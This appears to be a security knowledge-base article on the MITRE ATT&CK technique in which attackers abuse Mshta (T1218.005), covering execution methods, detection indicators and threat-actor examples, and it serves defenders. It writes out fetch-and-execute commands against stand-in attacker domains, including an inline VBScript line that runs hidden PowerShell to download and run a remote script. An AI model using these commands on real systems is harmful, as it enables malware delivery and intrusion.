Mshta (T1218.005)

Mshta [T1218.005]

Information

• Name: Mshta

• ID: T1218.005

• Tactics: TA0005

• Technique: T1218

Introduction

Mshta (Microsoft HTML Application Host) is a legitimate Windows utility designed to execute HTML Application (.hta) files. In the MITRE ATT&CK framework, Mshta is categorized under sub-technique T1218.005, which falls under the broader category of Signed Binary Proxy Execution. Adversaries exploit Mshta to execute malicious scripts and payloads, leveraging its trusted status to bypass application whitelisting, evade detection, and execute arbitrary code on compromised systems.

Deep Dive Into Technique

Mshta.exe is a signed Microsoft binary located typically in the %SystemRoot%\System32\ directory, responsible for running HTML Application files (.hta). HTA files are standalone applications that combine HTML, CSS, JavaScript, and VBScript, running with the privileges of the executing user. Adversaries commonly abuse Mshta due to its legitimate nature and capability to execute scripts directly from command-line arguments or remote URLs, thus facilitating fileless attacks.

Technical execution methods include:

• Direct execution of local HTA files:

  mshta.exe malicious_payload.hta

• Execution of HTA scripts hosted remotely:

  mshta.exe http://maliciousdomain.com/payload.hta

• Inline script execution without dropping files locally:

  mshta.exe vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""powershell.exe -nop -w hidden -c IEX(New-Object Net.WebClient).DownloadString('http://maliciousdomain.com/script.ps1')""")(window.close)

Mechanisms leveraged by attackers include:

• Bypassing application whitelisting controls by using trusted Windows binaries.

• Executing scripts in memory, reducing forensic footprints.

• Avoiding detection by traditional antivirus solutions, which usually trust signed Microsoft binaries.

Real-world procedures typically involve:

• Initial compromise via phishing emails or exploit kits delivering HTA payloads.

• Execution of malicious HTA files to establish persistence, download additional malware, or execute commands.

• Using Mshta to run scripts that invoke PowerShell or other scripting engines, further complicating detection and response.

When this Technique is Usually Used

Attack scenarios and stages where Mshta is commonly employed include:

• Initial Access: Delivered through phishing campaigns as malicious email attachments or links to remote HTA files.

• Execution Stage: Used as a method to execute initial payloads and scripts immediately upon user interaction.

• Defense Evasion: Leveraged to bypass application whitelisting, antivirus, and endpoint detection tools by using a legitimate signed binary.

• Persistence: Configured to run at startup or through scheduled tasks, maintaining persistent access.

• Command and Control (C2): Used to download and execute additional payloads from remote attacker-controlled servers.

• Privilege Escalation and Lateral Movement: Combined with other techniques, Mshta may facilitate further actions within compromised environments by executing scripts to escalate privileges or move laterally.

How this Technique is Usually Detected

Detection methods and indicators of compromise (IoCs) associated with Mshta abuse include:

• Process Monitoring and Logging:

  • Monitor and alert on unusual executions of mshta.exe, especially those invoked from unexpected locations or processes.

  • Detect command-line arguments containing remote URLs or suspicious script content (e.g., inline VBScript or JavaScript).

• Behavioral Analysis and Endpoint Detection Tools:

  • Endpoint Detection and Response (EDR) solutions can identify anomalous behavior, such as Mshta spawning unexpected child processes (e.g., PowerShell, cmd.exe).

  • Monitor for abnormal network connections initiated by Mshta to external IP addresses or domains.

• File and Registry Monitoring:

  • Track creation or modification of .hta files in unusual locations (e.g., temporary directories, user profiles, startup folders).

  • Monitor registry keys associated with persistence mechanisms involving Mshta (e.g., scheduled tasks or startup items referencing HTA files).

• Network Traffic Analysis:

  • Inspect network traffic for HTTP/HTTPS requests initiated by Mshta to unknown or suspicious domains.

  • Analyze proxy logs and DNS queries for suspicious HTA-related requests.

Specific IoCs include:

• Command-line executions containing patterns such as:

  mshta.exe http://[malicious_domain]/[payload].hta
  mshta.exe vbscript:Execute(...)

• Unusual parent-child process relationships, such as Mshta spawning PowerShell, cmd, or other scripting engines.

• Network connections from Mshta.exe to known malicious IP addresses or domains.

Why it is Important to Detect This Technique

Early detection of Mshta misuse is critical due to its significant potential impacts on systems and networks, including:

• Bypassing Security Controls:

  • Mshta's status as a trusted Microsoft binary allows attackers to circumvent traditional security measures, including antivirus and application whitelisting.

  • Early detection prevents attackers from gaining prolonged undetected access to the environment.

• Rapid Malware Deployment:

  • Attackers can quickly download and execute additional malware payloads, including ransomware, remote access trojans (RATs), or credential stealers.

  • Detection reduces the risk of widespread infection and limits damage.

• Persistence and Long-Term Access:

  • Attackers frequently leverage Mshta to establish persistent footholds within compromised environments.

  • Early identification and remediation disrupt attacker persistence, reducing dwell time.

• Data Theft and Exfiltration:

  • Malicious HTA scripts can facilitate data exfiltration, enabling attackers to steal sensitive information.

  • Timely detection prevents or mitigates data loss and regulatory compliance violations.

• Privilege Escalation and Lateral Movement:

  • Attackers can use Mshta to execute scripts that escalate privileges or move laterally within networks.

  • Early detection limits the scope of compromise and reduces the complexity and cost of incident response efforts.

Examples

Real-world examples demonstrating Mshta abuse include:

• FIN7 Threat Group:

  • Known to deliver malicious HTA files via phishing emails containing links or attachments.

  • Utilized Mshta to execute scripts downloading additional malware, such as Carbanak malware variants, to compromise financial institutions and retail organizations.

• Cobalt Strike Framework:

  • Attackers frequently use Cobalt Strike to generate HTA payloads designed to be executed via Mshta.

  • These payloads establish initial footholds, perform reconnaissance, and facilitate further compromise.

• APT32 (OceanLotus):

  • Utilized Mshta extensively in phishing campaigns targeting governments, journalists, and corporations in Southeast Asia.

  • Delivered malicious HTA files containing embedded scripts that downloaded and executed backdoors, enabling espionage activities.

• TrickBot Malware Campaigns:

  • TrickBot operators have leveraged Mshta to execute HTA payloads delivered through malicious email attachments or embedded URLs.

  • These HTA files downloaded and executed TrickBot malware, which then facilitated further infection with ransomware such as Ryuk.

Typical attack scenario example:

1. Victim receives a phishing email containing a malicious attachment or URL linking to an HTA file.

2. User opens the attachment or clicks the link, triggering Mshta execution:

   mshta.exe http://attacker-domain.com/payload.hta

3. Mshta executes embedded scripts, downloading secondary payloads or establishing persistent access.

4. Attackers gain initial foothold, escalate privileges, move laterally, and potentially exfiltrate sensitive data or deploy ransomware.

Impacts observed in these real-world cases include:

• Financial losses due to fraud or ransomware payments.

• Data breaches and sensitive information exposure.

• Operational disruptions and damages to organizational reputation.